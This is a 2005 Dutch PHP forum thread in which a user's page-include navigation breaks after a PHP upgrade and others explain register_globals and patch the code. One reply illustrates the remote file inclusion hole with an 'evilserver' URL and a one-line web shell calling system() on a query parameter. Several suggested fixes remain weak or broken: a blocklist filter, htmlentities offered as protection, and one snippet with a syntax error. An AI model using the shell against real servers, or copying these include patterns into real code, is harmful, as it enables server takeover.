Navigatie link werkt niet meer na PHP504 update

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Senior, Medior and Junior SAP HANA Developer

Vacature details Vakgebied: Software/IT Opleiding: Medior Werklocatie: Veldhoven Vacature ID: 12696 Introductie Our client is the world's leading provider of lithography systems for the semiconductor industry, manufacturing complex machines that are critical to the production of integrated circuits or chips. Our purpose is “unlocking the potential of people and society by pushing technology to new limits”. We do this guided by the principles “Challenge”, “Collaborate” and “Care”. Wat verwachten we van jou? SAP Certified Application Associate - SAP HANA Cloud Modeling (training and/or certification) Bachelor degree or higher Excellent understanding of SAP HANA (2.0 / Cloud), Data Modelling and writing

Bekijk vacature »

Frank

frank

21/09/2005 19:12:00
Quote Anchor link
Het probleem is het volgende. Ik heb een website met een folder "content". In deze folder staan php pagina's die regelmatig worden geupdate.

In de index.php is er een navigatiebalk met links die het volgende bevatten:

<td width="150"><font size="1"><a href="index.php?id=website/content/_8">
<font color="#FFFFFF">Leden</font></a>

Voordat mijn provider had geupdate naar PHP 5.0.4 werkte alles gewoon. En werd de gevraagde pagina gewoon geopend in de index.php
Nu echter gebeurt er helemaal niets.

Ik zoek nu al een week naar een oplossing maar vanwege mijn gebrek aan kennis wil ik nu dan toch hulp vragen.

Wie kan mij een duwtje in de goede richting geven?
 
PHP hulp

PHP hulp

15/01/2025 10:51:25
 
Legolas

Legolas

21/09/2005 19:30:00
Quote Anchor link
zou je een stukje code uit index.php kunnen posten?
 
- SanThe -

- SanThe -

21/09/2005 19:39:00
Quote Anchor link
Waarschijnlijk een $_GET probleem.
 
Frank

frank

21/09/2005 19:40:00
Quote Anchor link
O sorry natuurlijk de volgende code gebruik ik in index.php:

<td height="8">
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<? if($id) { include("$id.php"); } else { include("website/content/_13.php"); } ?>
</td>
 
Legolas

Legolas

21/09/2005 19:48:00
Quote Anchor link
waarschijnlijk wat sanThe zegt:

Het is een slechte gewoonte om meteen een variabele op te roepen die in de querystring zit, en waarschijnlijk staat register_globals nu ook uit.

Dus moet je

$_GET["id"] gebruiken ipv $id. Dan komt gelijk punt twee, wat jij nu hebt is een veiligheidslek. Als ik nu voor id bijv. http://www.evilserver.php/system.php?cmd=ls mee stuur en in dat bestand staat:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php system($_GET["cmd"]); ?>
Zou ik jou server uiteindelijk best kunnen verkloten. Dus doe daar nog ff een htmlentities($_GET["id"], ENT_QUOTES) en het is een stuk beter :).
 
- SanThe -

- SanThe -

21/09/2005 19:50:00
Quote Anchor link
Zeg ik:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
if($_GET['id') {
    include($_GET['id'].".php");
}
else {
    include("website/content/_13.php");
}

?>
 
Jelmer -

Jelmer -

21/09/2005 19:53:00
Quote Anchor link
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
if(isset($_GET['id']) && !strstr($_GET['id'], '../')) {
    include($_GET['id'].".php");
}
else {
    include("website/content/_13.php");
}

?>

Netter en veiliger ^^,
 
Frank

frank

21/09/2005 20:04:00
Quote Anchor link
Nou mensen ik wil jullie hartelijk danken voor jullie ongelovelijke snelle reacties.

Zodra ik kans heb om de tips uit te proberen zal ik ff een bericht achterlaten hoe het is gegaan.
 
Legolas

Legolas

21/09/2005 21:02:00
Quote Anchor link
en zeg ik

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
if(isset($_GET['id']) && !strstr($_GET['id'], '../') && !strstr($_GET['id'], '://')) {
    include($_GET['id'].".php");
}
else {
    include("website/content/_13.php");
}

?>
 
Jelmer -

Jelmer -

21/09/2005 21:22:00
Quote Anchor link
Dat is inderdaad nog beter ;)
Ik denk trouwens dat filteren op : al genoeg is, aangezien die toch niet in filesystem voor kunnen komen. (behalve op een mac als directory splitsing, al doet \ het hier ook prima)
Kan je de // niet escapen? Dan komt hij wel door de validatie, maar volgens mij filtert hij hem er dan bij de aanvraag zelf weer uit. Weet niet zeker.
 
Legolas

Legolas

21/09/2005 21:54:00
Quote Anchor link
escapen kan niet in query string, dat neemt hij dan letterlijk op :). Je kan alleen url encoden :)
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.